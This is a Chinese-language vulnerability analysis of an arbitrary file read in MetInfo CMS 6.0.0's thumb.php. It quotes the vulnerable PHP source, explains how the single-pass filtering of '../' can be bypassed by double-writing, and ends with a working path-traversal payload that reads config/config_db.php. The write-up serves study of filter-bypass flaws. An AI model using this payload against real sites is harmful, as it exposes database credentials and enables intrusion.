前置知识:PHP函数缺陷
测试环境:MetInfo CMS
- 函数缺陷导致的任意文件读取
漏洞URL:/include/thumb.php?dir=
漏洞文件位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php
<?php
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
echo $dir;
echo "<br/>";
echo !(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http');
echo "<br/>";
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
echo $dir;
echo 11111111;
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
if($_M['form']['pageset']){
$path = $dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";
}else{
$path = $dir;
}
$image = thumb($path,$_M['form']['x'],$_M['form']['y']);
if($_M['form']['pageset']){
$img = explode('?', $image);
$img = $img[0];
}else{
$img = $image;
}
if($img){
header("Content-type: image/jpeg");
ob_start();
readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));
echo PATH_WEB.str_replace($_M['url']['site'], '', $img);
echo 2222222;
ob_flush();
flush();
}
}
}
?>
源码中, $dir = str_replace(array('../','./'), '', $_GET['dir']);过滤了../和./,但str_replace是不迭代循环过滤的,可以双写绕过的
可以看到代码中 if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)这个条件用于检测一个路径$dir
是否是一个以'http'
开头且不是相对于当前目录的(不包含'./'
)。但是,这样的判断方式并不完全准确,因为它只是检查了前4个字符是否为'http'
,而没有确保整个字符串是一个有效的URL。同时,检查'./'
来排除相对路径的方式也是有限的,因为它没有考虑如'../'
或其他相对路径形式。当我们试图构造playload:http://localhost/MetInfo/include/thumb.php?dir=http\.....//\config\config_db.php
readfile($dir);打开http\.....//\config\config_db.php这个路径是一个无效路径,所以继续看代码
if($_M['form']['pageset'])
在全局搜索pageset看到是一个跳转地址加参数pageset=1
而我们构造playload没有跳转动作,所以应该是不会满足条件的,也就是说构造的dir会直接赋值给$path
再看下一行 $image = thumb($path,$_M['form']['x'],$_M['form']['y']);这里对path作了处理,应该是宽高处理,追踪thumb这个函数
找到最后返回调用的函数met_thumb
可以看到红框上面的又做了一次../和./的过滤,如果没有http会执行红框下面的代码,在$image = $this->get_thumb();追踪到get_thumb可以看到return file_exists($thumb_path) ? $this->thumb_url : $this->create_thumb();,继续追踪 $this->create_thumb();,可以看到会返回一个默认路径
完整代码
<?php
defined('IN_MET') or exit('No permission');
class image{
/**
* 图片信息
* @var [type]
*/
public $image;
/**
* 域名
* @var [type]
*/
public $host;
/**
* 请求图片宽
* @var int
*/
public $x;
/**
* 请求图片高
* @var int
*/
public $y;
/**
* 生成图片宽
* @var [type]
*/
public $thumb_x;
/**
* 生成图片高
* @var [type]
*/
public $thumb_y;
/**
* 缩略图存放目录
* @var [type]
*/
public $thumb_dir;
/**
* 缩略图路径
* @var [type]
*/
/**
* 缩略图url
* @var [type]
*/
public $thumb_url;
public $thumb_path;
public function met_thumb($image_path, $x = '', $y = ''){
global $_M;
if(!isset($image_path)){
$image_path = $_M['url']['site'].'public/images/metinfo.gif';
}
$this->image_path = str_replace(array($_M['url']['site'],'../','./'), '', $image_path);
// 如果地址为空 返回默认图片
if(!$this->image_path){
return $_M['url']['site'].'public/images/metinfo.gif';
}
// 如果去掉网址还有http就是外部链接图片 不需要缩略处理
if(strstr($this->image_path, 'http')){
return $this->image_path;
}
$this->x = is_numeric($x) ? intval($x) : false;
$this->y = is_numeric($y) ? intval($y) : false;
$this->image = pathinfo($this->image_path);
$this->thumb_dir = PATH_WEB.'upload/thumb_src/';
$this->thumb_path = $this->get_thumb_file() . $this->image['basename'];
$image = $this->get_thumb();
return $image;
}
public function get_thumb_file() {
global $_M;
$x = $this->x;
$y = $this->y;
if($path = explode('?', $this->image_path)){
$image_path = $path[0];
}else{
$image_path = $this->image_path;
}
$s = file_get_contents(PATH_WEB.$image_path);
$image = imagecreatefromstring($s);
$width = imagesx($image);//获取原图片的宽
$height = imagesy($image);//获取原图片的高
if($x && $y) {
$dirname = "{$x}_{$y}/";
$this->thumb_x = $x;
$this->thumb_y = $y;
}
if($x && !$y) {
$dirname = "x_{$x}/";
$this->thumb_x = $x;
$this->thumb_y = $x / $width * $height;
}
if(!$x && $y) {
$dirname = "y_{$y}/";
$this->thumb_y = $y;
$this->thumb_x = $y / $height * $width;
}
$this->thumb_url = $_M['url']['site'] . 'upload/thumb_src/' . $dirname . $this->image['basename'];
$dirname = $this->thumb_dir . $dirname ;
if(stristr(PHP_OS,"WIN")) {
$dirname = @iconv("utf-8","GBK",$dirname);
}
return $dirname;
}
public function get_thumb() {
if($path = explode('?', $this->thumb_path)){
$thumb_path = $path[0];
}else{
$thumb_path = $this->thumb_path;
}
return file_exists($thumb_path) ? $this->thumb_url : $this->create_thumb();
}
public function create_thumb() {
global $_M;
$thumb = load::sys_class('thumb','new');
$thumb->set('thumb_save_type',3);
$thumb->set('thumb_kind',$_M['config']['thumb_kind']);
$thumb->set('thumb_savepath',$this->get_thumb_file());
$thumb->set('thumb_width',$this->thumb_x);
$thumb->set('thumb_height',$this->thumb_y);
$suf = '';
if($path = explode('?', $this->image_path)){
$image_path = $path[0];
$suf .= '?'.$path[1];
}else{
$image_path = $this->image_path;
}
if($_M['config']['met_big_wate'] && strpos($image_path, 'watermark')!==false){
$image_path = str_replace('watermark/', '', $image_path);
}
$image = $thumb->createthumb($image_path);
if($_M['config']['met_thumb_wate'] && strpos($image_path, 'watermark')===false){
$mark = load::sys_class('watermark','new');
$mark->set('water_savepath',$this->get_thumb_file());
$mark->set_system_thumb();
$mark->create($image['path']);
}
if($image['error']){
if (!$_M['config']['met_agents_switch']) {
return $_M['url']['site'].'public/images/metinfo.gif'.$suf;
}else{
$met_agents_img =str_replace('../', '', $_M['config']['met_agents_img']);
$image_path = $_M['url']['site'] . $met_agents_img;
return $_M['url']['site'].$met_agents_img.$suf;
}
}
return $_M['url']['site'].$image['path'].$suf;
}
}
重点看红框部分,再贴一次上面的图
只要二次过滤后的路径有http就返回二次过滤的路径
回到漏洞页面代码,也就是$image接收thump处理后的一个二次过滤../和./的路径,
下面又if($_M['form']['pageset']),这里又直接执行else赋值给$img
最后一个判断可以看到 readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));
PATH_WEB是一个常量,包含了指定的路径
拼接我们传进来的值,而这个值会被二次过滤../和./,也就是说,我们需要构造一个绕过二次过滤的playload就可以任意读取已知路径的文件
/MetInfo/include/thumb.php?dir=ahttp\.....//\config\config_db.php
注意:
- http前面可以加任何字符来绕过if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false),但不能加后面,加前面就满足了substr(str_replace($_M['url']['site'], '', $dir),0,4)的条件
- 第一个反斜杠也可以是/,只是为了闭合ahppt这个文件名,
- 而第二个加了底纹的\不可以时候/,因为会被二次过滤,过滤后会变成ahttp\config\config_db.php,而\过滤之后是ahttp\..\config\config_db.php,才能使..\返回上一节目录
- .. 的作用与之前的目录是否存在无关,它总是表示向上移动一个目录级别。而路径解析器会忽略任何不存在的目录部分,并继续处理剩余的有效部分。这就是为什么 ahttp\..\ 会返回到 MetInfo 这个目录,即使 ahttp\ 目录不存在。